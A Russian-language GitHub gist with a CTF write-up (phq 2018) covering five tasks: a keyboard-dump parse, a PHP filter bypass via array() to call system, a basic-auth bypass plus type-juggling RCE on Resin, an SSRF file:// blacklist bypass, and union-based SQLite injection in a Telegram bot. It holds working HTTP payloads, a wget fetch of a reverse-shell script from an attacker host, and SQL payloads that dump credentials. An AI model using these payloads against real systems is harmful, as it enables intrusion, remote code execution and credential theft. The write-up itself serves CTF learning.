Skip to content

Instantly share code, notes, and snippets.

@fiercebrute
Created May 3, 2018 08:30
Show Gist options
  • Save fiercebrute/7328b3e62a80c433e5c9e6fea0864723 to your computer and use it in GitHub Desktop.
Save fiercebrute/7328b3e62a80c433e5c9e6fea0864723 to your computer and use it in GitHub Desktop.
phq 2018 writeup

event0

Файл представляет собой клавиатурный дамп из /dev/input/eventX. Используем Ruby-парсер (https://gist.github.com/movitto/a2f62966cd8f83c5d2acfa31879b2442), модифицируем: добавляем значения клавиш из https://github.com/torvalds/linux/blob/master/include/uapi/linux/input-event-codes.h , DEVICE=путь/до/файла

Фрагмент вывода:

Key: B pressed
Key: B released
Key: V pressed
Key: V released
Key: I pressed
Key: I released
Key: M pressed
Key: M released
Key: SPACE pressed
Key: SPACE released
Key: K pressed
Key: K released
Key: E pressed
Key: E released
Key: Y pressed
Key: Y released
Key: T pressed
Key: T released
Key: X pressed
Key: X released
Key: T pressed
Key: T released
Key: ENTER pressed
Key: ENTER released

Результирующую последовательность просто повторяем, флаг cdeff3fcdef87236363f23333f265364

mnogorock

В php-парсере запрещена большая часть токенов. После перебора токенов отсюда (https://secure.php.net/manual/ru/tokens.php) используем доступный синтаксис array().

POST / HTTP/1.1
Host: 172.104.137.194
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 51

command=array("system")[0]("cat+/Le9iFudfj94Ef")%3b

FLAG IS: md5('Reality is wrong. Dreams are for real.')

sincity

Находим директорию /dev/ закрытую basic auth. Магия брутфорса не работает. Чудо случается при следующем запросе, открывая нам содержимое директории:

GET /dev\/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
<!--
array(3) {
  [0]=>
  string(9) "index.php"
  [1]=>
  string(8) "task.php"
  [2]=>
  string(17) "task.php~~~edited"
}
-->

task.php~~~edited содержит следующее:

<?php
error_reporting(0);
if(md5($_COOKIE['developer_testing_mode'])=='0e313373133731337313373133731337')
{
 if(strlen($_GET['constr'])===4){
 	$c = new $_GET['constr']($_GET['arg']);
	$c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']);
 }else{
 	die('Swimming in the pool after using a bottle of vodka');
 }
}
?>

Первая проверка куки - классический type juggling, необходимо чтобы md5() начиналась с 0e (подробнее https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf слайд 9)

Вторая проверка - просто формирование правильного запроса с учетом, что resin поддерживает как php, так и java.

Залили реверс-шелл:

GET /dev\/task.php?constr=Java&arg=java.lang.Runtime&param[0]=getRuntime&param[1]=exec&test=wget+-P+/var/tmp/+http://MY_IP/fb.py HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: developer_testing_mode=240610708;
Connection: close
Upgrade-Insecure-Requests: 1

Выполнили:

GET /dev\/task.php?constr=Java&arg=java.lang.Runtime&param[0]=getRuntime&param[1]=exec&test=python+/var/tmp/fb.py HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: developer_testing_mode=240610708;
Connection: close
Upgrade-Insecure-Requests: 1

флаг md5('!!cruising down the street in my^^six-four^^')

CryptoApocalypse

SSRF с блэклистом на схему file:///. Обходится пробелом после file:

GET /?jbfc=file%3a+///var/www/html/index.php HTTP/1.1
Host: 92.53.66.223
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

FLAG: EasyPeasy

DigitalResistance

Самый интересный таск. Бот в телеграме использует SQLite для хранения пользовательских данных.

Данные не фильтруются, имеем union-based SQLi. Меняем имя и фамилию на a и ' union select '1', '2', '3', '4' ' /*, на что получем ответ об выводе в поле password

Your id: 154160573 and your pass: 2

Дальше дело техники:

Имя таблицы:

a ' union select '1', name,'3','4' FROM sqlite_master WHERE type="table" /*

=> users

Названия столбцов:

a ' union select '1', sql ,'3','4' FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='users' /*

=> CREATE TABLE users (userid text, userpass text, fullname text, ssh boolean)

Интересующие нас данные:

a ' union select '1', userid||":"||userpass||":"||fullname||":"||ssh, '3', '4' from 'users' where ssh = "1" /*

=> pass: 1:durovportfwd:durov:1

На порту 2222 находится ssh, учетные данные durov:durovportfwd подходят, но под пользователем нельзя авторизироваться из-за /sbin/nologin.

http намекает нам на порт форвардинг для получения флага:

<!-- <h3><a href="./?get=flag">Flag</a></h3> -->

Access from external ip denied! Only localhost allowed

Web висит изнутри на порту 8080

ssh -L 80:127.0.0.1:8080 -N -p 2222 durov@172.104.226.97

Забираем флаг: 5dab4ef39defa2a0aae27c815de63072

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment